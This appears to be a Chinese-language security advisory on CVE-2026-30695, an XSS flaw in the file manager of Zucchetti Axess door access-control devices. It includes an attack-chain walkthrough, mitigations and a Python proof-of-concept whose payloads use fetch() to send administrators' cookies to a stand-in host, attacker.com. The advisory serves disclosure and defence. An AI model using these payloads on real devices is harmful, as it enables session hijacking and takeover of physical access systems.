IPBUF安全漏洞报告
English
CVE-2026-30695 CVSS 6.1 中危

CVE-2026-30695 Zucchetti Axess 访问控制设备 XSS跨站脚本漏洞

披露日期: 2026-03-18

漏洞信息

漏洞编号
CVE-2026-30695
漏洞类型
XSS跨站脚本漏洞
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Zucchetti Axess XA4, X3/X3BIO, X4, X7, XIO / i-door / i-door+ 访问控制设备

相关标签

CVE-2026-30695XSS跨站脚本ZucchettiAxess访问控制门禁系统web漏洞file_manager.cgidirBrowse参数

漏洞概述

CVE-2026-30695是Zucchetti Axess系列门禁访问控制设备中存在的一个跨站脚本(XSS)安全漏洞。该漏洞影响多个型号的设备,包括XA4、X3/X3BIO、X4、X7以及XIO/i-door/i-door+等产品。漏洞根源在于设备Web管理界面的/file_manager.cgi端点对dirBrowse参数的用户输入缺乏有效的输入验证和输出编码处理。攻击者可以通过构造恶意的JavaScript脚本注入到页面中,当其他用户访问包含恶意代码的页面时,浏览器会执行这些脚本,从而窃取用户会话Cookie、劫持用户账号或进行其他恶意操作。由于该漏洞无需认证即可利用,且影响设备的Web配置管理界面,因此对设备安全性构成中等程度威胁。建议受影响的用户及时关注厂商更新,修复此安全漏洞。

技术细节

该漏洞是存储型或反射型XSS漏洞,存在于Zucchetti Axess访问控制设备的Web管理界面中。具体来说,/file_manager.cgi端点接收dirBrowse参数后,直接将该参数值未经适当转义或过滤即输出到HTML页面中。攻击者可以在dirBrowse参数中注入包含<script>标签、事件处理器(如onerror、onload)或javascript:伪协议的危险字符串。例如,攻击者可构造形如dirBrowse=<script>alert(document.cookie)</script>的恶意请求,当管理员访问该页面时,浏览器会解析并执行嵌入的JavaScript代码。攻击者利用此漏洞可窃取管理员的会话Cookie、修改页面显示内容、或诱导管理员执行非预期的操作。由于漏洞位于文件管理器功能模块,攻击者还可能利用此漏洞进行进一步的内网探测和横向移动。建议厂商在服务器端对所有用户输入进行严格的白名单验证和输出编码,使用现代Web安全框架的XSS防护机制。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标为Zucchetti Axess访问控制设备,通过端口扫描发现其Web管理界面(通常为80/443端口)
STEP 2
步骤2: 构造恶意请求
攻击者构造包含XSS payload的file_manager.cgi请求,将恶意JavaScript代码注入到dirBrowse参数中
STEP 3
步骤3: 诱导受害者访问
攻击者通过钓鱼邮件、恶意链接或社会工程学手段诱导设备管理员访问构造的恶意URL
STEP 4
步骤4: XSS执行
当管理员浏览器加载页面时,未经过滤的XSS payload被解析执行,触发攻击者植入的JavaScript代码
STEP 5
步骤5: 会话劫持
攻击者通过JavaScript窃取管理员的会话Cookie或敏感信息,进而劫持管理员账号
STEP 6
步骤6: 横向移动或持久化控制
攻击者利用获取的管理员权限修改设备配置、植入后门或进行内网横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import urllib.parse # CVE-2026-30695 PoC - Zucchetti Axess XSS in /file_manager.cgi # Target: Zucchetti Axess access control devices (XA4, X3/X3BIO, X4, X7, XIO/i-door/i-door+) TARGET_URL = "http://target-device-ip/file_manager.cgi" # XSS payload to steal cookies xss_payload = '<script>fetch("https://attacker.com/log?c="+document.cookie)</script>' # Alternative XSS payloads xss_payloads = [ '<script>alert(document.cookie)</script>', '<img src=x onerror="fetch(\'https://attacker.com/log?c=\'+document.cookie)">', '<svg onload="fetch(\'https://attacker.com/log?c=\'+document.cookie)">' ] def exploit(target_url, payload): """Send XSS payload via dirBrowse parameter""" params = { 'dirBrowse': payload, 'action': 'browse' # Typical file manager action } try: response = requests.get(target_url, params=params, timeout=10) print(f"[*] Request sent to {target_url}") print(f"[*] Payload: {urllib.parse.unquote(payload)}") print(f"[*] Status: {response.status_code}") if payload in response.text: print("[+] XSS payload reflected in response - vulnerability confirmed!") else: print("[-] Payload not found in response") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") def main(): print("=" * 60) print("CVE-2026-30695 PoC - Zucchetti Axess XSS") print("=" * 60) # Test basic XSS print("\n[*] Testing basic XSS payload...") exploit(TARGET_URL, xss_payloads[0]) # Test alternative payload print("\n[*] Testing img tag XSS payload...") exploit(TARGET_URL, xss_payloads[1]) print("\n[!] Note: This PoC is for authorized security testing only.") print("[!] Ensure you have permission before testing any system.") if __name__ == "__main__": main()

影响范围

Zucchetti Axess XA4 (所有版本)
Zucchetti Axess X3/X3BIO (所有版本)
Zucchetti Axess X4 (所有版本)
Zucchetti Axess X7 (所有版本)
Zucchetti Axess XIO (所有版本)
Zucchetti Axess i-door (所有版本)
Zucchetti Axess i-door+ (所有版本)

防御指南

临时缓解措施
在厂商发布官方修复补丁之前,可采取以下临时缓解措施:1) 通过网络ACL或防火墙规则限制/file_manager.cgi端点的访问,仅允许受信任的管理IP访问;2) 启用HTTPS并实施强身份认证机制;3) 监控Web服务器日志,检测异常的dirBrowse参数请求;4) 提醒管理员不要点击来源不明的链接;5) 考虑暂时禁用文件管理器功能模块;6) 部署基于特征的WAF规则来检测和阻止常见的XSS攻击模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表